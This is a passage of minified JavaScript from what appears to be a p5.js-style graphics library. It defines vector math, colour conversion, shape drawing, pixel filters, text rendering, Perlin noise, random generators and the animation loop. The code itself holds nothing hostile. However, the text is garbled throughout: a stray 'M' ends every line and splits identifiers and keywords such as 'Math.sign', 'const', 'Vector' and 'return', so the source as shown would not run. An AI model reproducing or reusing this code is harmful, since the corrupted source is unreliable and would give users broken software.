 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
